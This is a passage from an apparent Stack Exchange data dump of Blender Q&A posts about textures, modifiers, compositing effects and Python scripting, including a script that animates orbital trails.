&lt;em&gt;(geometry node)&lt;/em&gt;:&lt;/strong&gt; The position in world-space.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Location &lt;em&gt;(object info node)&lt;/em&gt;:&lt;/strong&gt; The object's position in world-space.  &lt;strong&gt;Note:&lt;/strong&gt; Unlike &lt;em&gt;object&lt;/em&gt;, &lt;em&gt;camera&lt;/em&gt;, and &lt;em&gt;position&lt;/em&gt; this is the position of the origin of the object possessing the material, not the point within the object.  (This one probably isn't that useful for your purposes.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For more on texture coordinates see my explanation of texture coordinates &lt;a href=&quot;https://blender.stackexchange.com/a/23174/5705&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-15T13:31:02.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33990" PostTypeId="2" ParentId="8847" CreationDate="2015-07-15T03:10:16.437" Score="5" Body="&lt;p&gt;I don't really know how the gradient texture node works so I usually make my own gradient texture using the generated coordinates and a &lt;em&gt;Seperate XYZ&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have come up with for a homemade 3-dimensional linear falloff spherical gradient texture (plugged into a volumetric emission shader to visualize).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XtSLn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The object this material is applied to is actually a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ulFSF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ulFSF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Click to enlarge&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by calculating the distance from every point to the point &lt;code&gt;(0.5, 0.5, 0.5)&lt;/code&gt; in the object's bounding box (using &lt;a href=&quot;https://blender.stackexchange.com/a/33989/5705&quot;&gt;generated coordinates&lt;/a&gt;).  This creates a gradient from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;0.5&lt;/code&gt; (going out from the center of the bounding box), but a gradient from &lt;code&gt;1&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; would be much more useful so this value gets multiplied by 2 and inverted by subtracting from 1.  (Ignore the math node labeled &quot;clamp to [0,1]&quot;, it's accidentally left over from an earlier version.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then plug this value into an RGB curves node (or through a few math nodes if you want to be more precise) to create whatever kind of falloff you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend so you don't have to manually copy all those math nodes!&lt;br&gt;&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/350/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=350&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-07-15T03:10:16.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33991" PostTypeId="2" ParentId="33988" CreationDate="2015-07-15T04:06:46.770" Score="1" Body="&lt;p&gt;If you are using a subdivision surface modifier, the easiest way to sharpen edges is with a loop cut and slide (Ctrl R)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NNb6E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where loop cut and slide is located&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P0AQh.png&quot; alt=&quot;This is where loop cut and slide is c&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that doesn't work try adding creases to the specific edges&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GLSRr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15598" LastActivityDate="2015-07-15T04:06:46.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33992" PostTypeId="1" AcceptedAnswerId="34716" CreationDate="2015-07-15T04:24:18.883" Score="0" ViewCount="276" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sgmkj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use a difference boolean modifier on this mesh so the small branches on top &quot;sculpt&quot; detail into it. But the boolean operation will not work. There seems to me a problem with the bottom mesh, because I can use the branches to do a boolean difference with other primitives without any issue. I've tried pretty much everything. The bottom mesh is manifold, all normals are correct, rotation and scale were applied, no loose vertices or edges, doubles were removed, etc... I even tried to triangulate it, but nothing seems to make it work properly. As soon as I try to apply the boolean operation, I get this weird result where the branches perform a union rather than a difference and their normals get inverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37064&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the .blend file&lt;/a&gt; if anyone is willing to take a look at it. If this happens to be a bug and cannot be resolved, any suggestions as to how I could have made such details into my mesh without boolean?&lt;/p&gt;&#xA;" OwnerUserId="14972" LastActivityDate="2015-07-28T23:56:04.317" Title="Boolean modifier issues" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33993" PostTypeId="1" AcceptedAnswerId="45077" CreationDate="2015-07-15T04:29:40.257" Score="5" ViewCount="1354" Body="&lt;p&gt;I'll be animating a large number of small objects following pre-calculated orbits. I'd like to add glowing trails that follow the orbit with an intensity that drops off with a specified decay function. Actually I'd like to emulate &lt;a href=&quot;https://vimeo.com/98941796&quot; rel=&quot;nofollow noreferrer&quot;&gt;this effect&lt;/a&gt; as close as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a small demo example to give a rough idea. The script generates an animation ready to run, but the trails are implemented as zillions of mesh objects. This obviously wouldn't scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real thing will be bigger (imagine asteroid belt or Oort cloud or space junk), so I need those narrow, but beautifully defined trails as seen in the first link or &lt;a href=&quot;https://vimeo.com/132804154&quot; rel=&quot;nofollow noreferrer&quot;&gt;here also.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking of creating one-dimensional mesh objects (a line of connected vertices) and assigning some kind of non-linear material ramp (would that even work?), but maybe there is a better approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the animation generated by the script...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHKPp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def RK4(x, v, n, h, F):&#xA;&#xA;    for i in range(n):  # written for readability, not speed&#xA;&#xA;        kv1 = F( x[:, i]                   )&#xA;        kx1 =    v[:, i]&#xA;&#xA;        kv2 = F( x[:, i] + kx1 * (h/2.0) )&#xA;        kx2 =    v[:, i] + kv1 * (h/2.0)&#xA;&#xA;        kv3 = F( x[:, i] + kx2 * (h/2.0) )&#xA;        kx3 =    v[:, i] + kv2 * (h/2.0)&#xA;&#xA;        kv4 = F( x[:, i] + kx3 * h          )&#xA;        kx4 =    v[:, i] + kv3 * h&#xA;&#xA;        v[:, i+1] = v[:, i] + (h/6.0) * (kv1 + 2.*(kv2 + kv3) + kv4)&#xA;        x[:, i+1] = x[:, i] + (h/6.0) * (kx1 + 2.*(kx2 + kx3) + kx4)&#xA;&#xA;&#xA;def acc(x):&#xA;    &quot;&quot;&quot; acceleration due to the sun's gravity (NumPy version) &quot;&quot;&quot;&#xA;    return -Gm * x / ( ((x**2).sum(axis=1)**1.5)[:,None] )&#xA;&#xA;import bpy&#xA;import numpy as np&#xA;&#xA;Gm     = 1.3271244002E+20  # m^3 s^-2   (Wikipedia Standard Gravitational Parameter)&#xA;t_year = 31558464.         # s  (roughly)&#xA;scale = 4.0E-11    # blender units per meter&#xA;&#xA;n_frames = 250 &#xA;Dt       = t_year / float(n_frames)   # time step&#xA;&#xA;n = 8&#xA;&#xA;X = np.zeros((n, 1000, 3))&#xA;V = np.zeros((n, 1000, 3))&#xA;T = np.zeros((n, 1000))&#xA;&#xA;tilt = 30. * (np.pi/180.)  #radians&#xA;sin_tilt, cos_tilt = np.sin(tilt), np.cos(tilt)&#xA;&#xA;X[:,0] = np.array([1.5E+11, 0.0, 0.0])[None, :] # start in the same place...&#xA;&#xA;V[:,0] = 29300. * (np.linspace(0.5, 1.2, n)[:, None] *&#xA;                   np.array([0.0, cos_tilt, sin_tilt])[None, :] ) # ...but different initial velocities&#xA;&#xA;# NOTE!! This is just for quickie demos only.&#xA;# Will give wrong result if step size too big. &#xA;&#xA;RK4(X, V, n_frames, Dt, acc)  # pre-calculate orbits&#xA;&#xA;p_size, s_size = 0.2, 0.5&#xA;&#xA;# Create the Universe&#xA;ok = bpy.ops.mesh.primitive_ico_sphere_add(size=s_size, location=(0.0, 0.0, 0.0))&#xA;sun = bpy.context.active_object&#xA;sun.name = &quot;Sun&quot;&#xA;&#xA;n_echos, frames_per_echo = 20, 1&#xA;e_sizes = np.linspace(p_size, 0, n_echos+1)[:-1]&#xA;&#xA;things, trails = [], []&#xA;&#xA;for i in range(n):&#xA;&#xA;    ok = bpy.ops.mesh.primitive_ico_sphere_add(size=p_size, location=(0.0, 0.0, 0.0))&#xA;&#xA;    p = bpy.context.active_object&#xA;    p.name = &quot;p&quot; + str(i)&#xA;    things.append(p)&#xA;&#xA;    echos = []&#xA;&#xA;    for i_echo in range(n_echos):&#xA;&#xA;        ok = bpy.ops.mesh.primitive_ico_sphere_add(size=e_sizes[i_echo], location=(0.0, 0.0, 0.0))&#xA;&#xA;        e = bpy.context.active_object&#xA;        e.name = &quot;p&quot; + str(i) + &quot;e&quot; + str(i_echo)&#xA;        echos.append(e)&#xA;&#xA;    trails.append(echos)&#xA;&#xA;# Animate the Universe&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;for i_frame in range(n_frames):&#xA;&#xA;    for i, p in enumerate(things):&#xA;&#xA;        p.location = scale * X[i, i_frame]&#xA;        p.keyframe_insert(data_path=&quot;location&quot;, frame = i_frame + 1, index=-1)&#xA;&#xA;        for iecho, echo in enumerate(trails[i]):&#xA;&#xA;            i_frame_echo = max(0, i_frame - frames_per_echo*(iecho+1))&#xA;            echo.location = scale * X[i, i_frame_echo]&#xA;            echo.keyframe_insert(data_path=&quot;location&quot;, frame = i_frame + 1, index=-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2016-01-17T03:36:25.467" LastActivityDate="2016-01-17T04:43:03.187" Title="How to make precisely defined trails along orbits in space" Tags="&lt;effects&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33994" PostTypeId="2" ParentId="33660" CreationDate="2015-07-15T06:29:42.633" Score="22" Body="&lt;p&gt;This can be done in compositing with a displace node driven by a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st, let's see the basics.&#xA;In the node editor, select compositing and backdrop.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9rZvE.jpg&quot; alt=&quot;compositing&quot;&gt;&lt;br&gt;&#xA;Now add a displace node (&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to open the menu or click &quot;add&quot;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Kve4.jpg&quot; alt=&quot;add displace&quot;&gt;&lt;br&gt;&#xA;link it to the image and to a viewer node (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+Click on the displace node) and you can move the image on X and/or Y with the X/Y scale values. Nothing really interesting yet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we want to control where this effect will affect the image. This can be done with a texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties panel, go to texture tab and click &quot;new&quot;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/t52M2.jpg&quot; alt=&quot;add tex&quot;&gt;&lt;br&gt;&#xA;change the type to blend&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9JVDD.jpg&quot; alt=&quot;type to blend&quot;&gt;&lt;br&gt;&#xA;and the blend to vertical&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qbMRx.jpg&quot; alt=&quot;vertical blend&quot;&gt;&lt;br&gt;&#xA;Now back in compositing, add an input/texture node and choose your blend texture&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HF6m7.jpg&quot; alt=&quot;texture node&quot;&gt;&lt;br&gt;&#xA;The outputs are Value and Color. Value is the alpha, color is...the color :)&#xA;Now plug the color output to displace's X Scale intput. You'll se a very small effect.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3MDGe.jpg&quot; alt=&quot;connect&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now need to control the power of the effect.&lt;br&gt;&#xA;Add a Converter/math node and change it to multiply. Connect the Texture-Color output to the 1st math input and the math output to Diplace-X Scale. Change the math value to 20 and you'll see something like that.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n2XkK.jpg&quot; alt=&quot;math effect&quot;&gt;&lt;br&gt;&#xA;Some explainations :&lt;br&gt;&#xA;The texture is black in the bottom, white in the top. Black means no effect, white means full effect (from 0 to 1). AFAIK, 1 is a 1 pixel displacement so the math node multiplies this by 20, what means 20 pixels.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's play with the texture.&lt;br&gt;&#xA;go back to the properties panel in texture tab. In color, check Ramp.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KV54h.jpg&quot; alt=&quot;tex ramp&quot;&gt;&lt;br&gt;&#xA;also chage the interpolation to constant (allows TV line/pixel effect).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5yix8.jpg&quot; alt=&quot;interpolation constant&quot;&gt;&lt;br&gt;&#xA;We won't use alpha, all we will change here is the BW value of the colors and add/move color stops (with the &quot;+&quot; above the ramp). Let's do something like this :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9aWGO.jpg&quot; alt=&quot;ramp1&quot;&gt;&lt;br&gt;&#xA;and see the effect&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o3IMx.jpg&quot; alt=&quot;ramp1 effect&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;This is what we want&lt;/strong&gt; : we can displace some parts of the image (controled by the texture) and change the power of the effect with the math node (0=no effect, can also be negative). The the value in the math node can be animated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the basic. We can do something more interesting.&lt;br&gt;&#xA;1st, let's correct the hole created with the displace. &lt;img src=&quot;https://i.stack.imgur.com/5eVYx.jpg&quot; alt=&quot;holes&quot;&gt;&lt;br&gt;&#xA;Add a Color/mix node, click use alpha and plug the displace output to the 2nd color input of the mix node. The 1st color input can be any color you want, or a texture/image and will replace the holes alpha.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yrqyw.jpg&quot; alt=&quot;holes fixed&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is a bit long and the basics are covered and (hopefully) understood, let's see how we can achieve the effect on RGB. We could use 3 different textures but we'll do this with 1, controling the displacement of each color.&lt;br&gt;&#xA;Go back to the properties/texture tab. The texture will now use RGB values to control the image RGB displacement.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gpAlM.jpg&quot; alt=&quot;colors RGB values&quot;&gt;&lt;br&gt;&#xA;Add as many color stops as you want, change their R G B values. I'll use this :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uX8tD.jpg&quot; alt=&quot;my color ramp example&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in compositing, we need to separate RGB colors from the image AND the texture, use the texture's RGB to control displace of each image channel and combine them back. This is the complete node setup :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0tiXc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The math value can be changed/animated separately or you can plug an Input/value node to control them all.&lt;br&gt;&#xA;You can also use 2 (or more) textures with separate displaces and animate a color mix node to control wich one is used.&lt;br&gt;&#xA;You can use the texture's alpha to control another displace plugged to Y Scale.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-07-15T06:29:42.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33995" PostTypeId="2" ParentId="33831" CreationDate="2015-07-15T06:54:38.213" Score="2" Body="&lt;p&gt;While multilayer OpenEXR files are a useful way to keep all the render results in one file, not every application supports them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to get render output that can be used outside of blenders compositor is to save each part into a more compatible file, blenders file output node is useful for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMQS9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in the node properties, each output file can have it's own file format and any compositing can be included with the output.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-15T06:54:38.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33996" PostTypeId="1" CreationDate="2015-07-15T07:00:53.050" Score="0" ViewCount="1188" Body="&lt;p&gt;I've been following a tutorial by Daniel Kreuter on Youtube (&lt;a href=&quot;https://www.youtube.com/watch?v=wdsY4BtlcpQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=wdsY4BtlcpQ&lt;/a&gt;), modelling a body using a mirrored surface.  I thought I had followed his actions fairly accurately, but I'm getting a weird seam on the mirrored plane in my model when I apply a multiresolution subdivide.  Oddly enough, it doesn't appear when I use the subdivision surface modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiK4I.png&quot; alt=&quot;visible seam on mirror plane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really sure where to start looking for problems.  &lt;a href=&quot;https://blender.stackexchange.com/questions/5458/mirror-modifier-without-seam&quot;&gt;This question&lt;/a&gt; has an &quot;answer&quot; which seams (see what I did there?) to have the same problem I'm having, with no solution.  &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?344815-Model-seam&quot; rel=&quot;nofollow noreferrer&quot;&gt;This forum post&lt;/a&gt; looks like they have the same problem.  One of their suggestions is to move the mirror modifier above the subdivide, as the modifiers are applied sequentially.  Unfortunately, that gives me the error &quot;Cannot move a modifier requiring original data&quot;.  The other suggested fixes, checking clipping (it was already checked) and increasing the merge limit,  haven't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I've checked, based on what I've seen on the web, is whether faces have been inserted along the mirror plane by accident.  Sadly, that's not the solution either, nor is it due to duplicated vertices.  What should I try next?&lt;/p&gt;&#xA;" OwnerUserId="15662" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2020-05-06T23:03:47.303" Title="Multiresolution subdivide modifier on a mirrored surface causes a visible seam" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33998" PostTypeId="2" ParentId="17876" CreationDate="2015-07-15T07:34:25.063" Score="8" Body="&lt;p&gt;Here is an example how to use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/bpy.types.BlendDataLibraries.html&quot; rel=&quot;noreferrer&quot;&gt;bpy.data.libraries.load()&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Three_ways_to_create_objects&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; it to current scene&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;scn = bpy.context.scene&#xA;filepath = &quot;D:\\File.blend&quot;&#xA;&#xA;#append object from .blend file&#xA;with bpy.data.libraries.load(filepath) as (data_from, data_to):&#xA;    data_to.objects = data_from.objects&#xA;&#xA;#link object to current scene&#xA;for obj in data_to.objects:&#xA;    if obj is not None:&#xA;        scn.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15664" LastActivityDate="2015-07-15T07:34:25.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33999" PostTypeId="1" AcceptedAnswerId="34004" CreationDate="2015-07-15T08:03:01.360" Score="5" ViewCount="7532" Body="&lt;p&gt;When in the rendered shading view the background is normally transparent, but all of a sudden it turned black. I don't know if I accidentally pushed a button, and I don't know how to turn in back to transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Transparent Film&lt;/em&gt; option is checked in the render properties panel.&lt;br&gt;&#xA;What did I miss?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lEI0a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/351/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=351&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2018-06-12T20:19:27.700" Title="Background in the 3D view appears black instead of transparent" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34000" PostTypeId="2" ParentId="33847" CreationDate="2015-07-15T08:08:13.373" Score="2" Body="&lt;p&gt;As far as I remember the vehicle wrapper uses rays (along global -Z) to determine wheel collision. The visible wheels are &quot;display only&quot;. This means they do not collide with anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the reason why they can flip through the floor when the vehicle lays on the side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with any feedback from the vehicle wrapper telling if a wheel detects the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you do a similar thing: Sense with a ray along -Z. The distance should match the wheels radius. When it detects something, you can assume it is ground.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-15T08:08:13.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34001" PostTypeId="2" ParentId="33985" CreationDate="2015-07-15T08:09:14.097" Score="2" Body="&lt;p&gt;Moving the camera with the &lt;kbd&gt;Q&lt;/kbd&gt; and &lt;kbd&gt;E&lt;/kbd&gt; keys is part of the &lt;a href=&quot;http://www.blender.org/manual/getting_started/basics/navigating/3d_view.html#view-navigation&quot; rel=&quot;nofollow noreferrer&quot;&gt;view navigation&lt;/a&gt; controls, not part of the pivot point choice.&lt;/p&gt;&#xA;&lt;p&gt;The effect of the keys is different depending on whether you are using walk or fly mode and the controls are described in &lt;a href=&quot;http://wiki.blender.org/index.php/User:Dfelinto/Walk_mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;more detail here&lt;/a&gt;. The default mode can be started with &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; and either fly and walk mode can be chosen directly from &lt;em&gt;View&amp;gt; Navigation&amp;gt; Fly Navigation&lt;/em&gt; or &lt;em&gt;View&amp;gt; Navigation&amp;gt; Walk Navigation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This navigation mode [&lt;em&gt;walk&lt;/em&gt;] behaves similar to the first person navigation system available in most 3d world games nowadays. It works with a combination of keyboard keys (&lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) and mouse movement. By default the navigation is in the 'free' mode, with no gravity influence. You can toggle between gravity and free mode during the navigation (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;You can:&lt;BR&gt;&#xA;Move the mouse left/right to pan the view left/right or&lt;BR&gt;&#xA;move the mouse up/down to tilt the view up/down.&lt;BR&gt;&#xA;Move the camera forward/backward (&lt;kbd&gt;W&lt;/kbd&gt;/&lt;kbd&gt;S&lt;/kbd&gt;).&lt;BR&gt;&#xA;Strafe left/right (&lt;kbd&gt;A&lt;/kbd&gt;/&lt;kbd&gt;D&lt;/kbd&gt;).&lt;BR&gt;&#xA;Jump (&lt;kbd&gt;V&lt;/kbd&gt;) - only in 'gravity' mode.&lt;BR&gt;&#xA;Move up and down (&lt;kbd&gt;Q&lt;/kbd&gt;/&lt;kbd&gt;E&lt;/kbd&gt;) - only in 'free' mode.&lt;BR&gt;&#xA;Alternate between 'free' and 'gravity' modes (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-15T19:30:41.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34002" PostTypeId="1" CreationDate="2015-07-15T08:09:19.163" Score="10" ViewCount="6289" Body="&lt;p&gt;I'm trying to render a lightsaber on a transparent background to use as game sprites. I've followed a &lt;a href=&quot;https://www.youtube.com/watch?v=Z0aDc9NAUjo&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; on youtube to create the glow/blur effect and it worked great on a black background but it's completely invisible on a transparent background.&lt;br&gt;&#xA;I figured I had to put an alpha channel node somewhere to make it work but I tried all the &quot;alpha&quot; named nodes all over the place and without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the node setup looks like&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Cediu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cediu.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/0y4s33tsjdby7dy/red_lightsaber.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt; if you want to take a closer look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Found a solution/workaround. Doesn't look as good as before but it's close enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BRR6r.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BRR6r.png&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15665" LastEditorUserId="2217" LastEditDate="2016-01-04T01:48:18.270" LastActivityDate="2020-07-31T00:09:39.787" Title="Glow effect invisible on transparent background" Tags="&lt;compositor&gt;&lt;transparency&gt;&lt;blur&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34003" PostTypeId="2" ParentId="33730" CreationDate="2015-07-15T08:50:37.893" Score="0" Body="&lt;p&gt;I managed to achieve what I want now, using a tricky method (easy to understand when thinking about what UV coordinates are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Blender Render, I just do the dot product of the &lt;em&gt;Global&lt;/em&gt; output of the &lt;em&gt;Geometry&lt;/em&gt; Node with two orthogonal vectors. Then, I combine them back and use that vector result as the &lt;em&gt;UV map input&lt;/em&gt; of the Texture Node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then mix this texture with the already existing texture using the &lt;em&gt;Mix&lt;/em&gt; Node, and as a factor the &lt;em&gt;Front/Back&lt;/em&gt; of the Geometry node.&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-07-15T08:50:37.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
